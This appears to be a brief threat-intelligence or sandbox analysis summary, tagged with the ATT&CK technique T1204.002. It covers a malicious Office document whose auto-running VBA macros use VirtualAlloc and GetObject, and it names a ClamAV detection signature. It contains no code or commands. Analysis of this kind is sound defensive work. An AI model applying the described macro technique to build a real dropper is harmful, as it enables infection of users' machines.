T1204.002 Malicious File
The sample is a Microsoft Office document containing VBA macros. The macros utilize the VirtualAlloc API and perform a GetObject call, indicating an attempt to execute code. The presence of the 'Document_Open' macro and the ClamAV detection signature 'Doc.Malware.Valyria-10023899-0' strongly suggest malicious intent, likely to download and execute a secondary payload.
